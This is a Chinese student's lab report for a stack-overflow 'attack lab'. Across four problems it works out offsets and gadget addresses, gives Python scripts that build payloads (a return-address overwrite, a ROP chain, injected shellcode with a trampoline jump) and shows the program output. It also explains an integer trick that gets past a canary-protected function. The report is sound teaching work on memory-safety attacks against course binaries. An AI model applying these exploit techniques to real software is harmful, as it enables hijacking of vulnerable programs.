栈溢出攻击实验

张伟滔 2024201605

题目解决思路

Problem 1:

- **分析**:
  本题为基础的栈溢出攻击。通过反汇编 `objdump -d problem1` 分析发现:
  1. 漏洞函数 `func` 使用了 `strcpy` 且未检查长度。
  2. 栈帧分析显示，`strcpy` 的目标缓冲区位于 `rbp-0x8`，而函数的返回地址位于 `rbp+0x8`。
  3. 因此，覆盖返回地址所需的偏移量（Padding）计算为：Buffer(8字节) + Saved RBP(8字节) = **16字节。**
  4. 目标函数 `func1`（输出 "Yes!..."）的入口地址为 `0x401216`。
- **解决方案**:
  Payload 结构为：16字节填充字符 + `func1` 地址（小端序）。
  Python 生成代码如下:

```python
# Problem 1 Solution
padding = b'A' * 16
# 目标地址 0x401216
func1_addr = b'\x16\x12\x40\x00\x00\x00\x00\x00'
payload = padding + func1_addr

with open("ans1.txt", "wb") as f:
    f.write(payload)
```

- **结果**:

```
zhang2005@localhost:~/attack-lab-yiqiao05$ ./problem1 ans1.txt
Do you like ICS?
Yes!I like ICS!
```

Problem 2:

- **分析**:
  本题开启了 NX（不可执行位）保护，无法执行栈上的 Shellcode，且需要传递参数。
  1. 目标函数 `func2`（`0x401216`）要求参数 `%rdi` 必须等于 `0x3f8`。
  2. 需要利用 ROP (Return Oriented Programming) 技术。
  3. 找到 Gadget：`pop rdi; ret` 地址为 `0x4012c7`。
  4. Padding 长度依然是 **16字节**（基于 `func` 的 `rbp-0x8`）。
- **解决方案**:
  Payload 结构为：Padding + `pop rdi` 地址 + 参数 `0x3f8` + `func2` 地址。
  Python 生成代码如下:

```
# Problem 2 Solution
padding = b'A' * 16
# Gadget: pop rdi; ret
pop_rdi = b'\xc7\x12\x40\x00\x00\x00\x00\x00'
# 参数: 0x3f8
arg_val = b'\xf8\x03\x00\x00\x00\x00\x00\x00'
# 目标函数 func2
func2_addr = b'\x16\x12\x40\x00\x00\x00\x00\x00'

payload = padding + pop_rdi + arg_val + func2_addr

with open("ans2.txt", "wb") as f:
    f.write(payload)
```

- **结果**:

```
zhang2005@localhost:~/attack-lab-yiqiao05$ ./problem2 ans2.txt
Do you like ICS?
Welcome to the second level!
Yes!I like ICS!
```

Problem 3:

- **分析**:
  本题模拟了栈地址随机化环境，不能使用固定栈地址。
  1. 通过反汇编发现辅助函数 `jmp_xs` (`0x401334`)，其功能是跳转到 `saved_rsp + 0x10` 处执行。
  2. 计算得知 `saved_rsp + 0x10` 正好指向缓冲区的起始位置 (`rbp-0x20`)。
  3. 攻击策略：将 Shellcode 放置在 Buffer 开头，并将返回地址覆盖为 `jmp_xs`，利用它作为跳板跳回 Shellcode 执行。
  4. Shellcode 逻辑：`func1(114)`，即 `mov rdi, 0x72; call func1`。
- **解决方案**:
  Payload 结构为：Shellcode (16字节) + Padding (24字节) + `jmp_xs` 地址。
  Python 生成代码如下：

```
# Problem 3 Solution
# 构造机器码: func1(0x72)
shellcode = (
    b'\x48\xc7\xc7\x72\x00\x00\x00'  # mov rdi, 0x72
    b'\x48\xc7\xc0\x16\x12\x40\x00'  # mov rax, 0x401216 (func1)
    b'\xff\xd0'                      # call rax
)
# 补齐 Padding: 总长 40 - Shellcode 16 = 24
padding = b'A' * 24
# 跳板地址 jmp_xs
jmp_xs_addr = b'\x34\x13\x40\x00\x00\x00\x00\x00'

payload = shellcode + padding + jmp_xs_addr

with open("ans3.txt", "wb") as f:
```

```
    f.write(payload)
```

- **结果**：

```
zhang2005@localhost:~/attack-lab-yiqiao05$ ./problem3 ans3.txt
Do you like ICS?
Now, say your lucky number is 114!
If you do that, I will give you great scores!
Your lucky number is 114
```

Problem 4:

- **分析**：
  本题旨在展示 Stack Canary 保护机制。反汇编 `func` 显示：
  1. **Canary 插入**：函数开头处 `mov %fs:0x28, %rax` 从段寄存器取出随机值放入栈中（`rbp-0x8`）。
  2. **Canary 检查**：函数返回前 `sub %fs:0x28, %rax` 检查该值是否改变，若改变则调用 `__stack_chk_fail` 报错，阻止了传统溢出攻击。
  3. **逻辑绕过**：分析代码逻辑发现，若输入值等于 `-1`（`0xffffffff`），程序会将其视为无符号最大整数，满足特定条件直接调用通关函数 `func1`。
- **解决方案**：
  无需使用 Python 脚本生成溢出数据。直接运行程序，在最后一步输入 `-1` 即可触发通关逻辑。
  （注：此处利用了整数的补码表示，-1 的补码为 0xFFFFFFFF，作为无符号数解释时为最大值，满足了程序内部 "give me enough yuanshi" 的判断条件）。
- **结果**：

```
zhang2005@localhost:~/attack-lab-yiqiao05$ ./problem4
hi please tell me what is your name?
zhangweitao
hi! do you like ics?
yes
if you give me enough yuanshi,I will let you pass!
-1
your money is 4294967295
great!I will give you great scores
```

思考与总结

本次实验通过四个循序渐进的题目，让我深入理解了二进制程序安全攻防的底层原理：

1. **栈溢出本质**：理解了函数调用栈帧结构，以及如何通过覆盖返回地址劫持控制流。
2. **ROP 技术**：学习了在 NX 开启时，如何“就地取材”，利用程序自身的代码片段构造攻击链。
3. **Shellcode 注入**：掌握了在可执行栈上编写机器码，并利用寄存器跳板应对地址随机化。
4. **防御机制**：通过分析 Canary 的汇编实现，理解了现代编译器如何通过随机 Cookie 保护栈空间，以及安全攻防如何从底层暴力破坏转向逻辑漏洞挖掘。

参考资料

1. Computer Systems: A Programmer's Perspective (CS:APP3e), Randal E. Bryant and David R. O'Hallaron.
2. Attack Lab writeup provided by RUCICS.
3. Intel® 64 and IA-32 Architectures Software Developer Manuals.